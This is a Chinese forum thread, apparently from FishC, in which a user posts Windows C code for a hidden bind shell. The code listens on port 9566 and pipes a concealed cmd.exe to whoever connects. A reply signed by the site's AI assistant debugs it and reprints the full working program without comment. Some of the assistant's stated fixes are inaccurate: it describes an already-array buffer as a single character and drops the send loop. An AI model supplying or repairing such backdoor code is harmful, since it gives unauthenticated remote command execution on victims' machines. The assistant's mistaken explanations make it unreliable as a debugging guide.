|
马上注册,结交更多好友,享用更多功能^_^
您需要 登录 才可以下载或查看,没有账号?立即注册
x
#include "miliMM.h"
#include <Windows.h>
#include <WinSock2.h>
#pragma comment(lib,"ws2_32.lib")
BOOL bExit = FALSE;
int SendData(SOCKET m_Sock, void* pBuf, DWORD dwBufLen)
{
if (m_Sock == INVALID_SOCKET || !pBuf || dwBufLen <= 0) {
return -1;
}
int iCurrSend = 0, offset = 0;
do {
iCurrSend = send(m_Sock, (char*)pBuf + offset, dwBufLen, 0);
if (iCurrSend <= 0) {
break;
}
dwBufLen -= iCurrSend;
offset += iCurrSend;
} while (dwBufLen > 0);
return offset;
}
DWORD WINAPI InputThread(LPVOID lpParam)
{
CThreadNode InputNode = *(CThreadNode*)lpParam;
TCHAR szBuffer[MAX_PATH] = { 0 };
DWORD RecvByte = 0, WriteByte;
while (TRUE)
{
RecvByte = recv(InputNode.cSock, szBuffer, MAX_PATH, 0);
if (RecvByte > 0 && (RecvByte != SOCKET_ERROR))
{
WriteFile(InputNode.handleNode, szBuffer, RecvByte, &WriteByte, NULL);
}
else
{
closesocket(InputNode.cSock);
WriteFile(InputNode.handleNode, "exit\r\n", sizeof("exit\r\n"), &WriteByte, NULL);
bExit = TRUE;
break;
}
Sleep(50);
}
return TRUE;
}
DWORD WINAPI OutputThread(LPVOID lpParam)
{
CThreadNode OutPutThread = *(CThreadNode*)lpParam;
DWORD ReadLen, dwTotalAvail;
TCHAR szBuffer[MAX_PATH];
BOOL bRet = FALSE;
while (!bExit)
{
bRet = PeekNamedPipe(OutPutThread.handleNode, NULL, NULL, NULL, &dwTotalAvail, NULL);
if (bRet && dwTotalAvail > 0)
{
bRet = ReadFile(OutPutThread.handleNode, szBuffer, MAX_PATH, &ReadLen, NULL);
if (bRet && ReadLen > 0)
{
SendData(OutPutThread.cSock, szBuffer, ReadLen);
}
ZeroMemory(szBuffer, MAX_PATH);
Sleep(50);
}
}
return true;
}
BOOL InitSocket()
{
int Ret = 0;
WSADATA wsaData;
Ret = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (Ret != 0)
{
MessageBox(NULL, TEXT("WSAStartup error"), TEXT("ERROR"), MB_OK);
return false;
}
return true;
}
BOOL StartShell(UINT uPort)
{
SOCKET ListeningSocket, ClientSocket;
sockaddr_in ClientAddr;
int ClientAddrLen;
HANDLE hReadpipe1, hWritepipe1, hReadpipe2, hWritepipe2;
HANDLE hInputThread, hOutputThread;
SECURITY_ATTRIBUTES sa;
STARTUPINFO StartInfo;
PROCESS_INFORMATION pi;
CThreadNode ReadNode, WriteNode;
if (!InitSocket())
{
MessageBox(NULL, TEXT("Init error"), TEXT("ERROR"), MB_OK);
return false;
}
ListeningSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (ListeningSocket == INVALID_SOCKET)
{
MessageBox(NULL, TEXT("socket error"), TEXT("ERROR"), MB_OK);
WSACleanup();
return false;
}
sockaddr_in si = { 0 };
si.sin_family = AF_INET;
si.sin_port = htons(uPort);
si.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
if (bind(ListeningSocket, (SOCKADDR*)&si, sizeof(sockaddr_in)) == SOCKET_ERROR)
{
MessageBox(NULL, TEXT("bind error"), TEXT("ERROR"), MB_OK);
closesocket(ListeningSocket);
WSACleanup();
return false;
}
if (listen(ListeningSocket, 5) == SOCKET_ERROR)
{
MessageBox(NULL, TEXT("listen error"), TEXT("ERROR"), MB_OK);
closesocket(ListeningSocket);
WSACleanup();
}
ClientAddrLen = sizeof(SOCKADDR_IN);
if (ClientSocket = accept(ListeningSocket, (SOCKADDR*)&ClientAddr, &ClientAddrLen) == INVALID_SOCKET)
{
MessageBox(NULL, TEXT("accept error"), TEXT("ERROR"), MB_OK);
closesocket(ListeningSocket);
WSACleanup();
return false;
}
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
if (CreatePipe(&hReadpipe1, &hWritepipe1, &sa, 0) == 0 || CreatePipe(&hReadpipe2, &hWritepipe2, &sa, 0) == 0)
{
//closesocket(ListeningSocket);
//closesocket(ClientSocket);
WSACleanup();
return false;
}
TCHAR szBuffer[MAX_PATH] = { 0 };
GetSystemDirectory(szBuffer, MAX_PATH);
lstrcat(szBuffer,TEXT("\\cmd.exe"));
GetStartupInfo(&StartInfo);
StartInfo.cb = sizeof(STARTUPINFO);
StartInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
StartInfo.wShowWindow = SW_HIDE;
StartInfo.hStdInput = hReadpipe1;
StartInfo.hStdOutput = StartInfo.hStdError = hWritepipe2;
if (CreateProcess(szBuffer, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &StartInfo, &pi) == 0)
{
MessageBox(NULL, TEXT("ERROR"), TEXT("ERROR"), MB_OK);
//closesocket(ListeningSocket);
// closesocket(ClientSocket);
WSACleanup();
return false;
}
MessageBox(NULL, TEXT("Process ok"), TEXT("ERROR"), MB_OK);
//WaitForSingleObject(pi.hProcess, INFINITE);
ReadNode.cSock = WriteNode.cSock = ClientSocket;
ReadNode.handleNode = hWritepipe1;
hInputThread = CreateThread(NULL, 0, InputThread, &ReadNode, 0, NULL);
WriteNode.handleNode = hReadpipe2;
hOutputThread = CreateThread(NULL, 0, OutputThread, &WriteNode, 0, NULL);
HANDLE hHandles[] = { hInputThread, hOutputThread };
WaitForMultipleObjects(2, hHandles, TRUE, INFINITE);
return true;
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
{
StartShell(9566);
return 0;
}
根据你的描述,telnet 连接后不能输入,随便按个字母就退出,有可能是多个原因导致。请检查以下几点:
1. 确保 Socket 初始化成功。
2. 确保命名管道(Pipe)创建成功。
3. 检查是否正确处理了 Socket 和 Pipe 的读取与写入。
4. 确保 CreateProcess 成功创建进程并且正确重定向了输入输出。
这里有一些具体需要修改和检查的地方:
1. 在 OutputThread 函数里定义的 szBuffer 应该是一个字符数组,而不是单个字符。
2. 在 accept 时的判断有误,用括号将赋值操作包含起来。
修改后的代码如下:
#include "miliMM.h"
#include <winsock2.h>
#pragma comment(lib,"ws2_32.lib")
BOOL bExit = FALSE;
int SendData(SOCKET m_Sock, void* pBuf, DWORD dwBufLen)
{
if (m_Sock == INVALID_SOCKET || !pBuf || dwBufLen == 0)
return -1;
return send(m_Sock, (char*)pBuf, dwBufLen, 0);
}
DWORD WINAPI InputThread(LPVOID lpParam)
{
CThreadNode InputNode = *(CThreadNode*)lpParam;
char szBuffer[MAX_PATH];
DWORD RecvByte, WriteByte;
while (!bExit)
{
RecvByte = recv(InputNode.cSock, szBuffer, MAX_PATH, 0);
if (RecvByte > 0 && RecvByte != SOCKET_ERROR)
{
WriteFile(InputNode.handleNode, szBuffer, RecvByte, &WriteByte, NULL);
}
else
{
closesocket(InputNode.cSock);
WriteFile(InputNode.handleNode, "exit\r\n", sizeof("exit\r\n"), &WriteByte, NULL);
bExit = TRUE;
break;
}
Sleep(50);
}
return TRUE;
}
DWORD WINAPI OutputThread(LPVOID lpParam)
{
CThreadNode OutPutThread = *(CThreadNode*)lpParam;
DWORD ReadLen, dwTotalAvail;
char szBuffer[MAX_PATH];
BOOL bRet = FALSE;
while (!bExit)
{
bRet = PeekNamedPipe(OutPutThread.handleNode, NULL, NULL, NULL, &dwTotalAvail, NULL);
if (bRet && dwTotalAvail > 0)
{
bRet = ReadFile(OutPutThread.handleNode, szBuffer, MAX_PATH, &ReadLen, NULL);
if (bRet && ReadLen > 0)
{
SendData(OutPutThread.cSock, szBuffer, ReadLen);
}
ZeroMemory(szBuffer, MAX_PATH);
Sleep(50);
}
}
return true;
}
BOOL InitSocket()
{
int Ret = 0;
WSADATA wsaData;
Ret = WSAStartup(MAKEWORD(2, 2), &wsaData);
if (Ret != 0)
{
MessageBox(NULL, TEXT("WSAStartup error"), TEXT("ERROR"), MB_OK);
return false;
}
return true;
}
BOOL StartShell(UINT uPort)
{
SOCKET ListeningSocket, ClientSocket;
sockaddr_in ClientAddr;
int ClientAddrLen;
HANDLE hReadpipe1, hWritepipe1, hReadpipe2, hWritepipe2;
HANDLE hInputThread, hOutputThread;
SECURITY_ATTRIBUTES sa;
STARTUPINFO StartInfo;
PROCESS_INFORMATION pi;
CThreadNode ReadNode, WriteNode;
if (!InitSocket())
{
MessageBox(NULL, TEXT("Init error"), TEXT("ERROR"), MB_OK);
return false;
}
ListeningSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (ListeningSocket == INVALID_SOCKET)
{
MessageBox(NULL, TEXT("socket error"), TEXT("ERROR"), MB_OK);
WSACleanup();
return false;
}
sockaddr_in si = { 0 };
si.sin_family = AF_INET;
si.sin_port = htons(uPort);
si.sin_addr.S_un.S_addr = htonl(INADDR_ANY);
if (bind(ListeningSocket, (SOCKADDR*)&si, sizeof(sockaddr_in)) == SOCKET_ERROR)
{
MessageBox(NULL, TEXT("bind error"), TEXT("ERROR"), MB_OK);
closesocket(ListeningSocket);
WSACleanup();
return false;
}
if (listen(ListeningSocket, 5) == SOCKET_ERROR)
{
MessageBox(NULL, TEXT("listen error"), TEXT("ERROR"), MB_OK);
closesocket(ListeningSocket);
WSACleanup();
return false;
}
ClientAddrLen = sizeof(SOCKADDR_IN);
ClientSocket = accept(ListeningSocket, (SOCKADDR*)&ClientAddr, &ClientAddrLen);
if (ClientSocket == INVALID_SOCKET)
{
MessageBox(NULL, TEXT("accept error"), TEXT("ERROR"), MB_OK);
closesocket(ListeningSocket);
WSACleanup();
return false;
}
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
if (CreatePipe(&hReadpipe1, &hWritepipe1, &sa, 0) == 0 || CreatePipe(&hReadpipe2, &hWritepipe2, &sa, 0) == 0)
{
WSACleanup();
return false;
}
TCHAR szBuffer[MAX_PATH] = { 0 };
GetSystemDirectory(szBuffer, MAX_PATH);
lstrcat(szBuffer, TEXT("\\cmd.exe"));
GetStartupInfo(&StartInfo);
StartInfo.cb = sizeof(STARTUPINFO);
StartInfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
StartInfo.wShowWindow = SW_HIDE;
StartInfo.hStdInput = hReadpipe1;
StartInfo.hStdOutput = StartInfo.hStdError = hWritepipe2;
if (CreateProcess(szBuffer, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &StartInfo, &pi) == 0)
{
MessageBox(NULL, TEXT("ERROR"), TEXT("ERROR"), MB_OK);
WSACleanup();
return false;
}
MessageBox(NULL, TEXT("Process ok"), TEXT("ERROR"), MB_OK);
ReadNode.cSock = WriteNode.cSock = ClientSocket;
ReadNode.handleNode = hWritepipe1;
hInputThread = CreateThread(NULL, 0, InputThread, &ReadNode, 0, NULL);
WriteNode.handleNode = hReadpipe2;
hOutputThread = CreateThread(NULL, 0, OutputThread, &WriteNode, 0, NULL);
HANDLE hHandles[] = { hInputThread, hOutputThread };
WaitForMultipleObjects(2, hHandles, TRUE, INFINITE);
return true;
}
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, PSTR szCmdLine, int iCmdShow)
{
StartShell(9566);
return 0;
}
请仔细检查代码中的注释和更改部分,并确保你在调试时可以看到更多的错误信息来帮助排除问题。如果仍然无法解决,请提供更多详细的错误信息以便进一步诊断。
以上回复来自 FishC AI 小助理,如未能正确解答您的问题,请继续追问。
|
|